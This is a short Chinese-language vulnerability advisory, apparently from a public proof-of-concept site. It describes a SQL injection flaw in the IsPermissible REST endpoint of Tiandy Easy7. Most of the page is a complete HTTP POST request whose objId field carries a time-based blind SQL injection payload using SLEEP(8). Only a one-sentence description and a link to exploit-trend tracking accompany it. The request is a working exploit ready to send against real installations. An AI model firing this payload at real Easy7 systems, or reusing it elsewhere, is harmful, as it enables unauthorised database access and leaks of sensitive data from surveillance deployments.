天地伟业Easy7 IsPermissible 存在SQL注入漏洞

2026-05-10 天地伟业Easy7 PoC Public

Description

天地伟业Easy7 IsPermissible 存在SQL注入漏洞，攻击者可以通过构造恶意请求执行任意SQL语句，可能导致敏感信息泄露。

PoC

POST /Easy7/rest/user/IsPermissible HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

userId=1'&objId=' AND (SELECT 4741 FROM (SELECT(SLEEP(8)))SmPB)-- OuaM&type=1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2026-11182.html

References

Related Vulnerabilities